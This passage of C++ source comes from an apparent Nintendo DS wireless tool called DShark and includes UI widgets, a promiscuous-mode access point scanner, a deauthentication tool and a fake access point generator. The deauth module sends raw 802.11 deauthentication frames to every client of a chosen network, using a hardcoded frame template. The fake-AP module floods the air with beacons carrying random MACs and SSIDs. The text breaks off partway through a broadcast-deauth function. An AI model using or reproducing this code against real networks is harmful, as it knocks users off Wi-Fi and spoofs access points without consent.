	   ui->DrawChr(m_screen,m_x+1,m_selected-m_scroller_pos+m_y,'>');
	   ui->DrawChr(m_screen,m_x+m_w-1,m_selected-m_scroller_pos+m_y,'<');
	}	
   
   /* Notify the listeners */
   for (i=0; i<(int)m_evts.size();i++)
	  	m_evts[i]->OnRender(m_id);
}

int UIListBox::GetNbItems()
{
   return (int)m_items.size();
}

void UIListBox::ScrollDown()
{
   if (m_scroller_pos<((int)m_items.size()-1))
   	m_scroller_pos++;
}

void UIListBox::ScrollUp()
{
   if (m_scroller_pos>0)
   	m_scroller_pos--;
}

int UIListBox::GetScrollerPos()
{
   return m_scroller_pos;
}

int UIListBox::getLastY()
{
   return m_last_y;
}

void UIListBox::setLastY(int y)
{
   m_last_y = y;
}

int UIListBox::GetSelectedItem()
{
   return m_selected;
}

void UIListBox::setSelected(int y)
{
   m_selected = y;
}

int UIListBox::getScroll()
{
   return m_scroller_pos;
}











arm9/source/gui/base/ui_list.h


#ifndef __INC_DSHARK_UI_LIST_H
#define __INC_DSHARK_UI_LIST_H

#include "ui_ctrl.h"
#include <vector>

class UIListBox : public UIControl, public EventListener
{
public:
   
	UIListBox(int screen,int x, int y, int w, int h, int id);
	~UIListBox();
	
	/* Item management */
	void RemoveItem(int idx);
	void AddItem(int idx, char *txt);
	void AppendItem(char *txt);
	int GetNbItems();
	void Reset();
		
   /* events */
   void OnDraw();	/* we must render the list items */
   void OnPress(int id);	/* we must draw the selection marks */
   void OnHeld(int id);
	
	/* Interaction */
	void ScrollDown();
	void ScrollUp();
	void ScrollTop();
	int GetScrollerPos();
	int GetSelectedItem();
	
	/* int GetLastY */
	int getLastY();
	void setLastY(int y);
	int getScroll();
	void setSelected(int y);
	
protected:
   
   vector<char *> m_items;
   
   int 	m_scroller_pos;
	int	m_start;	 
	int m_selected;
   
   int m_last_x;
   int m_last_y;
};

#endif










arm9/source/gui/deauth.cpp


#include <nds.h>
#include <dswifi9.h>
#include "deauth.h"

DeauthTool::DeauthTool(int id) : UIFrame(SCREEN_SUB,0,0,31,23,id,"[ Deauth Test ]")
{
   /* create the ap list */
	m_ap = new APList();
   AddControl(m_ap);
   
   /* create the deauth button */
   m_deauth = new UIButton(SCREEN_SUB,1,12,29,2,DEAUTH_BTN_ID,"Deauth !");
	m_deauth->AddListener(this);
   AddControl(m_deauth);

	m_mode = 0;   
	m_deauth = 0;
	m_apd = -1;
	
	/* Initialize Wifi but no scan */
	Wifi::getInstance();
	m_wifi_status = 0;
}

DeauthTool::~DeauthTool()
{
}

void DeauthTool::OnRender(int id)
{
	int i,s,nsta=0;
	WifiAP *ap;
	WifiStation *sta;

	unsigned char smac[6];
	unsigned char dmac[6];
	
	if (Wifi::getInstance()->IsReady() && (m_wifi_status==0))
	{
		//printf("Wifi not started. Start.\n");
	   Wifi::getInstance()->Start();
		m_wifi_status=1;
	}		
	
	if (m_wifi_status==1 && m_mode == 1)
	{ 
		s = m_ap->GetSelectedItem();
		if (s>=0 && s<Wifi::getInstance()->GetCacheAPSize())
		{
			ap = Wifi::getInstance()->GetCacheAP(s);
			
			/* send deauth to all stations */
			nsta = (int)Wifi::getInstance()->GetCacheStationSize();
			for (i=0;i<nsta;i++)
			{
				sta = Wifi::getInstance()->GetCacheStation(i);
				if (sta->BelongsTo((unsigned char *)ap->GetESSID()))
				{
					sta->GetMAC(dmac);
					memcpy(smac,ap->GetBSSID(),6);
					
					Wifi::getInstance()->SendDeauth(ap->GetChannel(),(unsigned char *)smac,dmac);		   
				}
			}
		}		
	}	
}

void DeauthTool::OnClick(int id)
{
	if(id==DEAUTH_BTN_ID)
	{
		if (m_mode == 0)
		{
			//printf("stop deauth\n");
			m_mode = 1;			
		}
		else
		{
			m_mode = 0;
		}		
	}			
}

DeauthTool::APList::APList() : UIListBox(SCREEN_SUB,1,1,29,10,APLIST_ID)
{
   int i;
   WifiAP *ap;
   
   /* Parse the cache */
   Reset();
   //Wifi::getInstance()->Snapshot();
   for (i=0;i<Wifi::getInstance()->GetCacheAPSize();i++)
   {
      ap = Wifi::getInstance()->GetCacheAP(i);
      AppendItem(ap->GetESSID());
	}
	m_init = 0;
}   

void DeauthTool::APList::OnRender(int id)
{
   int i;
   WifiAP *ap;

   /* Parse the cache */
	if(m_init == 0)
	{
	   Reset();
	   //Wifi::getInstance()->Snapshot();
	   for (i=0;i<Wifi::getInstance()->GetCacheAPSize();i++)
	   {
	      ap = Wifi::getInstance()->GetCacheAP(i);
	      AppendItem(ap->GetESSID());
		}
		m_init = 1;
	}	
}

DeauthTool::APList::~APList()
{
}












arm9/source/gui/deauth.h


#ifndef __INC_DSHARK_DEAUTH_H
#define __INC_DSHARK_DEAUTH_H

#include "base/gui.h"
#include "../wifi/wifi.h"

#define APLIST_ID 6001
#define DEAUTH_BTN_ID 6002
#define CLOSE_BTN_ID 6003

class DeauthTool : public UIFrame
{
public:
   
	DeauthTool(int id);
	~DeauthTool();
	
	void OnClick(int id);
	void OnRender(int id);
	
private:
   
   class APList;
   
   APList *m_ap;
   UIButton *m_deauth;
   
   int	m_apd;
   
   int 	m_mode;
   int	m_wifi_status;
};

class DeauthTool::APList : public UIListBox
{
public:
   
   APList();
   ~APList();
   
   void OnRender(int id);
private:
      int	m_init;   
};
#endif /* __INC_DSHARK_DEAUTH_H */










arm9/source/gui/fakeap.cpp


#include "fakeap.h"

#include <nds.h>
#include <dswifi9.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#include "base/gui.h"

#define FAP_SWITCH_BTN_ID	2001
#define FAP_CLOSE_BTN_ID 2002
#define FAP_LOG_ID 2003

#define MSG_INACTIF 	"Start Fake APs [A]"
#define MSG_ACTIF	"Stop  Fake APs [A]"

#define MAC_COPY(dst,offs,mac) memcpy((unsigned char *)(dst+offs),mac,6)

#define FAKE_PACKET "\x80\x00\x00\x00\xFF\xFF\xFF\xFF"\
					"\xFF\xFF\x00\x11\x22\x33\x44\x55"\
					"\x00\x11\x22\x33\x44\x55\xC0\x28"\
					"\xB1\x62\xAB\x8E\x01\x00\x00\x00"\
					"\x64\x00\x01\x04\x00\x07VI"\
					"RTU01\x01\x08\x82"\
					"\x84\x8B\x96\x24\x30\x48\x6C\x03"\
					"\x01\x0B\x05\x04\x00\x03\x00\x00"\
					"\x2A\x01\x00\x2F\x01\x00\x32\x04"\
					"\x0C\x12\x18\x60\xDD\x06\x00\x10"\
					"\x18\x02\x00\x04"

/*****************************************************
***		FakeAPMaker
*****************************************************/

void initRand()
{
   time_t t;
   
   time(&t);
   srand(t);
}

unsigned char randChar()
{
   return rand()%0xFF;
}

void GenerateFalseMac(unsigned char *mac)
{
	int i;
	

	/* initialize random generator */
	mac[0] ='\0';
	mac[1] = randChar()%0x20;
	for (i=2;i<6;i++)
		mac[i] = randChar();
}

void GenerateFalseSSID(unsigned char *ssid)
{
   int i;
   
	/* ssid size : 7 */
	for (i=0;i<7;i++)
	{
		ssid[i] =  ('A' + (randChar()%26));
	}	   
}

void FakeAPMaker::SendFakeAPFrame()
{
   /* Create some fake APs: VIRTUXX */
 	int i;

	for (i=0;i<NB_FAKE_APS;i++)
	{
		/* create a false packet */
		memcpy(m_pkt,FAKE_PACKET,FAKE_PACKET_SIZE);
		MAC_COPY(m_pkt,10,m_aps[i].bssid);
		MAC_COPY(m_pkt,16,m_aps[i].bssid);
		memcpy(&m_pkt[38],m_aps[i].essid,7);

		Wifi::getInstance()->SendFrame(FAKE_PACKET_SIZE,m_pkt);
	}	
}


FakeAPMaker::~FakeAPMaker()
{
   m_wifi_status = FAP_WIFI_NOT_INIT;
}

FakeAPMaker::FakeAPMaker(int id) : UIFrame(SCREEN_SUB,0,0,31,23,id,"[ DShark Fake AP Generator ]")
{
   int i;

	/* Initalize the Wifi API */
	Wifi::getInstance();

	/* generate fake aps */
   initRand();

	for (i=0;i<NB_FAKE_APS;i++)
	{
	   GenerateFalseMac(m_aps[i].bssid);
	   GenerateFalseSSID(m_aps[i].essid);
	}	

	/* Create the interface */
	m_log = new FakeLog(FAP_LOG_ID);
	AddControl(m_log);

	m_switch = new FakeSwitch(FAP_SWITCH_BTN_ID);
	m_switch->AddListener(this);
	AddControl(m_switch);	

	m_close = new FakeClose(FAP_CLOSE_BTN_ID);
	m_close->AddListener(this);
	AddControl(m_close);

	m_state = WS_WIFI_OFF;
	m_wifi_status = FAP_WIFI_NOT_INIT;
}

void FakeAPMaker::OnRender(int id)
{
	if(Wifi::getInstance()->IsReady())
	{
		if (m_wifi_status == FAP_WIFI_NOT_INIT)
		{
			Wifi::getInstance()->Start();
			m_wifi_status = FAP_WIFI_INIT;
			m_log->Print("+ Wifi interface OK.");
		}

		if (m_state == WS_WIFI_ON && m_wifi_status==FAP_WIFI_INIT)
		{
			SendFakeAPFrame();
		}
	}	
}

void FakeAPMaker::OnClick(int id)
{
	switch(id)
	{
   	case FAP_SWITCH_BTN_ID:
   		{
			   if (m_state==WS_WIFI_OFF)
			   {
			      /* Activate wifi */
					StartFaking();
					m_switch->SetText(MSG_ACTIF);
				}
				else
				{
					StopFaking();  
					m_switch->SetText(MSG_INACTIF);
				}	
			}	
			break;
			
		case FAP_CLOSE_BTN_ID:
			
			/* Stop wifi */
			Wifi::getInstance()->Stop();
			m_wifi_status = FAP_WIFI_NOT_INIT;
			
			/* And close */
			Close();
		   break;
	}	
}

void FakeAPMaker::StartFaking()
{
   if (m_state == WS_WIFI_OFF)
   {
		m_log->Print("+ Fake APing started");
		m_state = WS_WIFI_ON;
	}	
}

void FakeAPMaker::StopFaking()
{
   if (m_state == WS_WIFI_ON)
	{
		m_log->Print("+ Fake APing stopped");
		m_state = WS_WIFI_OFF;
	}	
}

/*****************************************************
***		FakeLOg
*****************************************************/

FakeAPMaker::FakeLog::FakeLog(int id) : UIFrame(SCREEN_SUB,1,2, 29, 13,id,"[ Fake AP Log ]")
{
   /* allocate memory for logs */
	m_logs = (char **)malloc(m_h*sizeof(char*));
	m_nlogs = 0; 
	m_test = 0;
}

FakeAPMaker::FakeLog::~FakeLog()
{
}

void FakeAPMaker::FakeLog::Print(char *txt)
{
   int i;
   
   /* if m_nlogs == h then scroll down */
   if (m_nlogs == (m_h-1))
   {
      // free the first string
      free(m_logs[0]);
      for (i=1;i<(m_h-1);i++)
      	m_logs[i-1]=m_logs[i];
      m_logs[(m_h-2)] = strdup(txt);
	}
	else
	   m_logs[m_nlogs++] = strdup(txt);
}

void FakeAPMaker::FakeLog::OnRender(int id)
{
	DSharkUI *ui = DSharkUI::getInstance();
	int i;
	
	if (IsVisible())
	{		
	   /* Render a rectangle */
	   ui->ClearZone(m_screen,m_x,m_y,m_w,m_h);
	   ui->DrawTitledRect(m_screen,m_x,m_y,m_w,m_h, m_name);
	
		/* Render texts */
		for (i=0;i<m_nlogs;i++)
			ui->Print(m_screen,m_x+1,m_y+1+i,m_logs[i]);
	}	
}

/*****************************************************
***		FakeSwitch
*****************************************************/

FakeAPMaker::FakeSwitch::FakeSwitch(int id) : UIButton(SCREEN_SUB,1,17,29,2,id, MSG_INACTIF)
{
	/* Sets an accelerator (A) */
	SetAccelerator(KEY_A);
}

FakeAPMaker::FakeSwitch::~FakeSwitch()
{
}   

/*****************************************************
***		FakeSwitch
*****************************************************/

FakeAPMaker::FakeClose::FakeClose(int id) : UIButton(SCREEN_SUB,1,20,29,2,id, "[B] Close")
{
	/* Sets an accelerator (A) */
	SetAccelerator(KEY_B);
}

FakeAPMaker::FakeClose::~FakeClose()
{
}   












arm9/source/gui/fakeap.h


#ifndef __INC_DSHARK_FAKE_AP_H
#define __INC_DSHARK_FAKE_AP_H

#include <nds.h>

#include "../wifi/wifi.h"
#include "base/gui.h"

#define FAP_WIFI_NOT_INIT 0
#define FAP_WIFI_IN_INIT 1
#define FAP_WIFI_INIT 2
#define FAP_FAKE_ON 4

#define WS_WIFI_ON 0x00
#define WS_WIFI_OFF 0x01

#define NB_FAKE_APS 20

#define FAKE_PACKET_SIZE 84

typedef struct {
   unsigned char bssid[6];
   unsigned char essid[7];
} FakeAP;

class FakeAPMaker : public UIFrame
{

	public:
	   
	   /* Constructor */
		FakeAPMaker(int id);
		~FakeAPMaker();
		
		/* Render */
		void OnRender(int id);
		void OnClick(int id);

		/* Wifi management */
		void StartFaking();
		void StopFaking();
				
		/* fake ap-ing */
		void SendFakeAPFrame();
		
	private:
		
		class FakeSwitch;
		class FakeLog;
		class FakeClose;
  
		/* FakeAPs */
		FakeAP	m_aps[NB_FAKE_APS];
		unsigned char m_pkt[FAKE_PACKET_SIZE];
		
		/* wifi status */
		int	m_wifi_status;
		int	m_state;
				
		/* child controls */
		FakeSwitch	*m_switch;
		FakeLog		*m_log;
		FakeClose	*m_close;
};

/**********************************************
***  FakeAPMaker switch
**********************************************/

class FakeAPMaker::FakeClose : public UIButton
{
public:
	
	FakeClose(int id);
	~FakeClose();
};

/**********************************************
***  FakeAPMaker close button
**********************************************/

class FakeAPMaker::FakeSwitch : public UIButton
{
public:
	
	FakeSwitch(int id);
	~FakeSwitch();
};


/**********************************************
***  FakeAPMaker Log
**********************************************/

class FakeAPMaker::FakeLog : public UIFrame
{
public:
	
	FakeLog(int id);
	~FakeLog();
	
	/* Event */
	void OnRender(int id);

	/* logging */
	void Print(char *txt);
	
private:
   
	/* logging */
	char**	m_logs;					
	int		m_nlogs;
	int 		m_test;
};

#endif










arm9/source/gui/scanner.cpp


#include "scanner.h"

#define SCANNER_BOX_ID	1001
#define SCANNER_QUIT_ID	1002
#define SCANNER_INFO	1003

/*****************************************************
*** Scanner Main Frame
*****************************************************/

ScannerFrame::ScannerFrame(int id) : UIFrame(SCREEN_SUB,0,0,31,23,id, "[ DShark Scanner ]")
{
   m_scanner = new ScannerBox(SCANNER_BOX_ID);
   m_quit = new ScannerQuit(SCANNER_QUIT_ID);
   m_quit->AddListener(this);
   
	m_lbl = new UILabel(SCREEN_SUB,2,2,29,1,-1,"[PWR] #S [     ESSID      ]");
	m_info = new ScannerInfo(SCANNER_INFO,m_scanner);
	m_info->AddListener(this);
	
	AddControl(m_lbl);
	AddControl(m_scanner);
	AddControl(m_quit);
	AddControl(m_info);

}

ScannerFrame::~ScannerFrame()
{
}

void ScannerFrame::OnClick(int id)
{
   if (id==SCANNER_QUIT_ID)
   {
   	Close();
	m_scanner->Terminate();
   }
}

/***************************************************
*** ScannerFrame::ScannerBox
***************************************************/

void ScannerBox::OnRender(int id)
{
   int i;
	WifiAP *wap;
	char txt[32];

	if(Wifi::getInstance()->IsReady())
	{
		if (m_status==0)
		{
			Wifi::getInstance()->Start();
			Wifi::getInstance()->ScanMode();
			Wifi::getInstance()->SetPromiscuous(true);
			m_status = 1;
		}		

		// first reset
	   Reset();

		// then snapshot and display
		Wifi::getInstance()->Snapshot();
		for(i=0;i<Wifi::getInstance()->GetCacheAPSize();i++)
		{
			wap = Wifi::getInstance()->GetCacheAP(i);
			sprintf(txt,"%03i%% %2d %18s",wap->GetRSSI(),wap->IsHidden()?0:Wifi::getInstance()->GetCacheAPNbStations(i),wap->GetESSID());  //26 cars de large
			AppendItem(txt);						   
		}
	}	
}   

ScannerBox::ScannerBox(int id) : UIListBox(SCREEN_SUB,1,3,29,16,id)
{	
   /* start wifi */
	Wifi::getInstance();   
}

ScannerBox::~ScannerBox()
{
}

void ScannerBox::Terminate()
{
	if(m_status == 1)
	{
	   Wifi::getInstance()->SetPromiscuous(false);
		Wifi::getInstance()->Stop();
		m_status = 0;
	}	
}

/*******************************************
*** ScannerFrame::ScannerQuit
*******************************************/

ScannerQuit::ScannerQuit(int id) : UIButton(SCREEN_SUB,1,20,29,2,id,"[B] Close")
{
   SetAccelerator(KEY_B);
}

ScannerQuit::~ScannerQuit()
{
}	   

void ScannerQuit::OnClick(int id)
{
}

/******************************************************
****				Scanner Details
******************************************************/

ScannerInfo::ScannerInfo(int id, UIListBox*listbox) : UIFrame(SCREEN_MAIN,0,0,31,23,id,"[ AP Details ]")
{
	AddLabel(1,1,5,1,-1,"MAC:");
	AddLabel(1,2,5,1,-1,"ENC:");
	AddLabel(1,3,5,1,-1,"CHL:");
	AddLabel(1,9,21,1,-1,"Associated Stations:");
	
	m_mac = new UILabel(SCREEN_MAIN,7,2,17,1,-1,"");
	AddControl(m_mac);
	
	m_cipher = new UILabel(SCREEN_MAIN,7,3,17,1,-1,"");
	AddControl(m_cipher);
	
	m_db = new PowerBar(SCREEN_MAIN,1,6,29," Power ");
	AddControl(m_db);
	
	m_stations = new UIListBox(SCREEN_MAIN,1,11,29,11,-1);
	AddControl(m_stations);

	m_channel = new UILabel(SCREEN_MAIN,7,4,17,1,-1,"");
	AddControl(m_channel);
	
	m_list = listbox;
	m_list->AddListener(this);
}

ScannerInfo::~ScannerInfo()
{
}

void ScannerInfo::SetMAC(char *mac)
{
	m_mac->SetText(mac);
}

void ScannerInfo::SetEncryption(char *enc)
{
	m_cipher->SetText(enc);
}

void ScannerInfo::OnTick()
{
	OnClick(SCANNER_BOX_ID);
}

void ScannerInfo::OnClick(int id)
{
	int index,nstations,i;
	char mac[19],*bssid,enc[10],bmac[6],channel[3];
	WifiAP *wap;
	WifiStation *wsta;

	memset(mac,0,19);
	memset(enc,0,10);
	
	/* If item selected */
	if (id==SCANNER_BOX_ID)
	{
		index = m_list->GetSelectedItem()-1;
		if (index>=0 && index<m_list->GetNbItems())
		{
			Wifi::getInstance()->Snapshot();
			wap = Wifi::getInstance()->GetCacheAP(index);
			
			/* display BSSID */
			bssid = wap->GetBSSID();
			snprintf(mac,18,"%02X:%02X:%02X:%02X:%02X:%02X",bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5]);
			m_mac->SetText(mac);
			
			/* get encryption */
			if (wap->IsOpen())
				strncpy(enc,"OPEN\0",10);
			if (wap->IsWEP())
				strncpy(enc,"WEP ON\0",10);
			if (wap->IsWPA())
				strncpy(enc,"WPA ON\0",10);
			m_cipher->SetText(enc);
			
			/* get channel */
			snprintf(channel, 3, "%02d", wap->GetChannel());
			m_channel->SetText(channel);
			
			/* Display associated stations MACs */
			m_stations->Reset();
			nstations = (int)Wifi::getInstance()->GetCacheStationSize();
			for (i=0;i<nstations;i++)
			{
				wsta = Wifi::getInstance()->GetCacheStation(i);
				wsta->GetMAC((unsigned char *)bmac);
				if (wsta->BelongsTo((unsigned char *)wap->GetESSID()))
				{
					snprintf(mac,18,"%02X:%02X:%02X:%02X:%02X:%02X",bmac[0],bmac[1],bmac[2],bmac[3],bmac[4],bmac[5]);
					m_stations->AppendItem(mac);
				}
			}

			/* Update power bar */
			m_db->Update(wap->GetRSSI());
		}
		else
			m_db->Update(0);
	}
}


/**********************************************
* PowerBar
**********************************************/

ScannerInfo::PowerBar::PowerBar(int screen, int x, int y, int w, char *title) : UIFrame(screen,x,y,w,2,-1,title)
{
		m_value=0;
}

ScannerInfo::PowerBar::~PowerBar()
{
}

void ScannerInfo::PowerBar::Update(int power)
{
	m_value = ((m_w-2)*power)/100;
}

void ScannerInfo::PowerBar::OnDraw()
{
   int i,j;
 
 	DSharkUI *ui = DSharkUI::getInstance();

	if (IsVisible())
	{	   
	   /* Render a rectangle */
	   ui->ClearZone(m_screen, m_x,m_y,m_w,m_h);
	   ui->DrawTitledRect(m_screen, m_x,m_y,m_w,m_h, m_name);
	   
	   /* Render ther bars */
	   for (i=0;i<m_value;i++)
			ui->DrawChr(m_screen,m_x+i+1,m_y+1,'\xDB');
	}	
}









arm9/source/gui/scanner.h


#ifndef __INC_DSHARK_SCANNER_H
#define __INC_DSHARK_SCANNER_H

#include <nds.h>
#include <dswifi9.h>

#include "base/gui.h"
#include "../wifi/wifi.h"

/******************************************************
****				Scanner Details
******************************************************/

class ScannerInfo : public UIFrame
{
public:
   
   ScannerInfo(int id, UIListBox *listbox);
   ~ScannerInfo();
   
   void SetMAC(char *mac);
   void SetEncryption(char *enc);
   
   void OnClick(int id);
   void OnTick();
   
private:

	class PowerBar;

	UIListBox *m_list;
	UILabel *m_cipher;
	UILabel *m_mac;
	UILabel *m_channel;
	PowerBar *m_db;
	UIListBox *m_stations;
};

class ScannerInfo::PowerBar : public UIFrame
{
public:

	PowerBar(int screen, int x, int y, int w,char *title);
	~PowerBar();

	void Update(int power);
	void OnDraw();
	
private:

	int m_value;
};

/******************************************************
****				Scanner Box
******************************************************/

class ScannerBox : public UIListBox,PacketListener
{
public:
   
   ScannerBox(int id);
	~ScannerBox();

	void OnRender(int id);

	void Terminate();

private:
	int m_packets;
   int m_status;
};

/******************************************************
****				Scanner Quit Button
******************************************************/

class ScannerQuit : public UIButton
{
public:
   
	ScannerQuit(int id);
	~ScannerQuit();

	void OnClick(int id);
};				   


/******************************************************
****				Scanner Frame
******************************************************/   

class ScannerFrame : public UIFrame
{
public:
   
   ScannerFrame(int id);
   ~ScannerFrame();

	void OnClick(int id);

private:
		
		UILabel	*m_lbl;
		ScannerBox *m_scanner;   
		ScannerQuit *m_quit;
		ScannerInfo *m_info;

};

#endif










arm9/source/wifi/wifi.cpp


#include <nds.h>
#include <dswifi9.h>
#include "wifi.h"


using namespace std;

/*******************
* CONSTANTS
*******************/

#define DEAUTH_REQ      \
    "\xC0\x00\x3A\x01\x00\x1D\xE0\x50\x5D\x1B\x00\x14\xC1\x26\x36\xC4" \
    "\x00\x14\xC1\x26\x36\xC4\x00\x00\x07\x00"
#define DEAUTH_REQ_SIZE 26

/******************
* HELPERS
******************/

#define MAC_COPY(dst,offs,mac) memcpy((unsigned char *)(dst+offs),mac,6)

extern "C" int Wifi_FakeBSSID(u16 *bssid);

/******************************************************************************
*******************************************************************************

				W i f i S t a t i o n   I m p l e m e n t a t i o n

*******************************************************************************
******************************************************************************/


WifiStation::WifiStation(unsigned char *mac, unsigned char *ap)
{
   memcpy(m_mac, mac, 6);
   if (ap[0]!=0)
		strncpy((char *)m_ap,(char *)ap,32);
	else
		strncpy((char *)m_ap,"[hidden]",32);
}

char *WifiStation::getDesc()
{
   return (char *)m_desc;
}

int WifiStation::HasMac(unsigned char *mac)
{
   return !memcmp(mac,m_mac,6);
}

int WifiStation::BelongsTo(unsigned char *essid)
{
   return !strncmp((char *)essid,(char *)m_ap,32);
}

void WifiStation::SetESSID(char *essid)
{
   if(essid==NULL)
   	return;
   	
   if(essid[0]=='\0')
   	m_ap[0]='\0';
   	
   strncpy((char *)m_ap,essid,32);
}

void WifiStation::GetMAC(unsigned char *mac)
{
   memcpy(mac,m_mac,6);
}

/******************************************************************************
*******************************************************************************

						W i f i A P   I m p l e m e n t a t i o n

*******************************************************************************
******************************************************************************/

/******************************************************************************
* NAME: WifiAP
* DESC: WifiAP constructor
* ARGS: essid: ap essid
*		  bssid: ap bssid
*		  channel: ap channel
*		  rssi: ap rssi info
* RET.: Nothing
******************************************************************************/

WifiAP::WifiAP(const char *essid,const char *bssid, int channel, int rssi, int flags)
{
	if (essid==NULL)
	{
	   essid="[hidden]";
	   m_hidden = true;
	}	
	if (bssid==NULL)
		bssid="\x00\x00\x00\x00\x00\x00";

   /* copy essid */
	if (strlen(essid)>0)
	{
      strncpy(m_essid,essid,32);
      m_hidden = false;
	}   
   else
   {
   	strncpy(m_essid,"[hidden]",32);
   	m_hidden = true;
	}   
   	
   /* copy bssid */
   memcpy(m_bssid, bssid, 6);
   
   /* set channel */
   m_chan = channel;
   
   /* compute rssi % */
   m_rssi = (rssi*100)/0xD0;
   
   /* flags */
   m_flags = flags;
}

/******************************************************************************
* NAME: ~WifiAP
* DESC: WifiAP destructor
******************************************************************************/

WifiAP::~WifiAP()
{
}

/******************************************************************************
* NAME: GetESSID
* DESC: retrieve essid
* RET.: ap's essid
******************************************************************************/

char *WifiAP::GetESSID()
{
   return m_essid;
}


/******************************************************************************
* NAME: GetBSSID
* DESC: retrieve bssid
* RET.: ap's bssid
******************************************************************************/

char *WifiAP::GetBSSID()
{
   return m_bssid;
}


/******************************************************************************
* NAME: GetChannel
* DESC: retrieve channel
* RET.: ap's channel
******************************************************************************/

int WifiAP::GetChannel()
{
   return m_chan;
}


/******************************************************************************
* NAME: GetRSSI
* DESC: retrieve rssi
* RET.: ap's rssi
******************************************************************************/

int WifiAP::GetRSSI()
{
   return m_rssi;
}


/******************************************************************************
* NAME: Operator == 
* DESC: compares to another bssid
* RET.: true if similar, false otherwise
******************************************************************************/

bool WifiAP::operator==(unsigned char *bssid)
{
   return !memcmp(bssid,m_bssid,6);
}


/******************************************************************************
* NAME: Update
* DESC: Update AP status
* RET.: Nothing
******************************************************************************/

void WifiAP::Update(const char *essid, int channel, int rssi)
{
	if (essid==NULL)
	   essid="[hidden]";

   /* copy essid */
	if (strlen(essid)>0)
	{
      strncpy(m_essid,essid,32);
      m_hidden = false;
	}   
   else
   {
   	strncpy(m_essid,"[hidden]",32);
   	m_hidden = true;
	}   
   	
   /* set channel */
   m_chan = channel;
   
   /* compute rssi % */
   m_rssi = (rssi*100)/0xD0;
}

/******************************************************************************
* NAME: IsHidden
* DESC: determines if the AP is in hidden mode
* RET.: true if hidden, false otherwise
******************************************************************************/

bool WifiAP::IsHidden()
{
   return m_hidden;
}

/******************************************************************************
* NAME: IsWEP
* DESC: determines if the AP uses WEP encryption
* RET.: true if hidden, false otherwise
******************************************************************************/

bool WifiAP::IsWEP()
{
   return (m_flags&WFLAG_APDATA_WEP)&&(!(m_flags&WFLAG_APDATA_WPA));
}

/******************************************************************************
* NAME: IsWPA
* DESC: determines if the AP uses WPA encryption
* RET.: true if hidden, false otherwise
******************************************************************************/

bool WifiAP::IsWPA()
{
   return (m_flags&WFLAG_APDATA_WPA);
}

/******************************************************************************
* NAME: IsOpen
* DESC: determines if the AP is open
* RET.: true if hidden, false otherwise
******************************************************************************/

bool WifiAP::IsOpen()
{
   return (!IsWEP())&&(!IsWPA());
}
/******************************************************************************
*******************************************************************************

						W i f i   I m p l e m e n t a t i o n

*******************************************************************************
******************************************************************************/

/******************************************************************************
* NAME: InitRand
* DESC: Initialize local random generator
******************************************************************************/

void Wifi::InitRand()
{
   time_t t;
   
   time(&t);
   srand(t);
}


/******************************************************************************
* NAME: RandChar
* DESC: Generate a random character.
* RET.: random char
******************************************************************************/

unsigned char Wifi::RandChar()
{
   return rand()%0xFF;
}


/******************************************************************************
* NAME: Wifi
* DESC: Private class constructor
******************************************************************************/

Wifi::Wifi()
{
   /* Initalize the Wifi API */
	REG_IPC_FIFO_CR = IPC_FIFO_ENABLE | IPC_FIFO_SEND_CLEAR; // enable & clear FIFO

	u32 Wifi_pass= Wifi_Init(WIFIINIT_OPTION_USELED);
	REG_IPC_FIFO_TX=0x12345678;
	REG_IPC_FIFO_TX=Wifi_pass;
	
	*((volatile u16 *)0x0400010E) = 0; // disable timer3
	irqInit(); 
	irqSet(IRQ_TIMER3, Timer_50ms); // setup timer IRQ
	irqEnable(IRQ_TIMER3);
	irqSet(IRQ_FIFO_NOT_EMPTY, arm9_fifo); // setup fifo IRQ
	irqEnable(IRQ_FIFO_NOT_EMPTY);
	REG_IPC_FIFO_CR = IPC_FIFO_ENABLE | IPC_FIFO_RECV_IRQ; // enable FIFO IRQ
	
	Wifi_SetSyncHandler(arm9_synctoarm7); // tell wifi lib to use our handler to notify arm7
	
	// set timer3
	*((volatile u16 *)0x0400010C) = -6553; // 6553.1 * 256 cycles = ~50ms;
	*((volatile u16 *)0x0400010E) = 0x00C2; // enable, irq, 1/256 clock
	
//	InitRand();

	m_self = this;
	m_listeners.clear();
	m_ap_cache.clear();
	m_station_cache.clear();
	m_promiscuous = false;
}


/******************************************************************************
* NAME: getInstance
* DESC: Singleton instance retriever
* ARGS: x,y,w,h: control position
* RET.: Nothing
******************************************************************************/

Wifi *Wifi::getInstance()
{
   if(m_self == NULL)
   	Wifi();
   return m_self;
}


/******************************************************************************
* NAME: Start
* DESC: Starts the wifi component
******************************************************************************/

void Wifi::Start()
{
	if (IsReady())
	{
		Wifi_EnableWifi();
	}	
}


/******************************************************************************
* NAME: Stop
* DESC: Stops the wifi component
******************************************************************************/

void Wifi::Stop()
{
   Wifi_DisableWifi();
}


/******************************************************************************
* NAME: IsReady
* DESC: Check if the wifi component is fully initialized
* RET.: 1 if ready, 0 otherwise
******************************************************************************/

int Wifi::IsReady()
{
   return Wifi_CheckInit();
}


/******************************************************************************
* NAME: Update
* DESC: Ask the arm7 driver to do its job :p (ie. update wifi info)
******************************************************************************/

void Wifi::Update()
{
	Wifi_Update();
}


/******************************************************************************
* NAME: SendFrame
* DESC: Sends a raw 802.11 frame
* ARGS: size: frame size
*		  pkt: frame data
* RET.: Nothing
******************************************************************************/

void Wifi::SendFrame(int size, unsigned char *pkt)
{
	Wifi_RawTxFrame(size,0x000A,(u16*)pkt);
}

/******************************************************************************
* NAME: Timer_50ms
* DESC: Wifi internal timer
******************************************************************************/

void Wifi::Timer_50ms() {
   Wifi_Timer(50);
}

/******************************************************************************
* NAME: arm9_synctoarm7
* DESC: User<->Driver synchronization handler
* RET.: Nothing
******************************************************************************/

void Wifi::arm9_synctoarm7() { // send fifo message
   REG_IPC_FIFO_TX=0x87654321;
}

/******************************************************************************
* NAME: arm9_fifo
* DESC: User fifo sync
******************************************************************************/

void Wifi::arm9_fifo() { // check incoming fifo messages
   u32 value = REG_IPC_FIFO_RX;
   if(value == 0x87654321) Wifi_Sync();
}

/******************************************************************************
* NAME: ScanMode
* DESC: Activate scan
******************************************************************************/

void Wifi::ScanMode()
{
   Wifi_ScanMode();
}

/******************************************************************************
* NAME: SendBroadcastDeauth
* DESC: Send a deauth 802.11 frame to broadcast
* ARGS: bssid: target bssid
* RET.: Nothing
******************************************************************************/

void Wifi::SendBroadcastDeauth(unsigned char *bssid)
{
	unsigned char pkt[DEAUTH_REQ_SIZE];
	
   /* craft the packet */
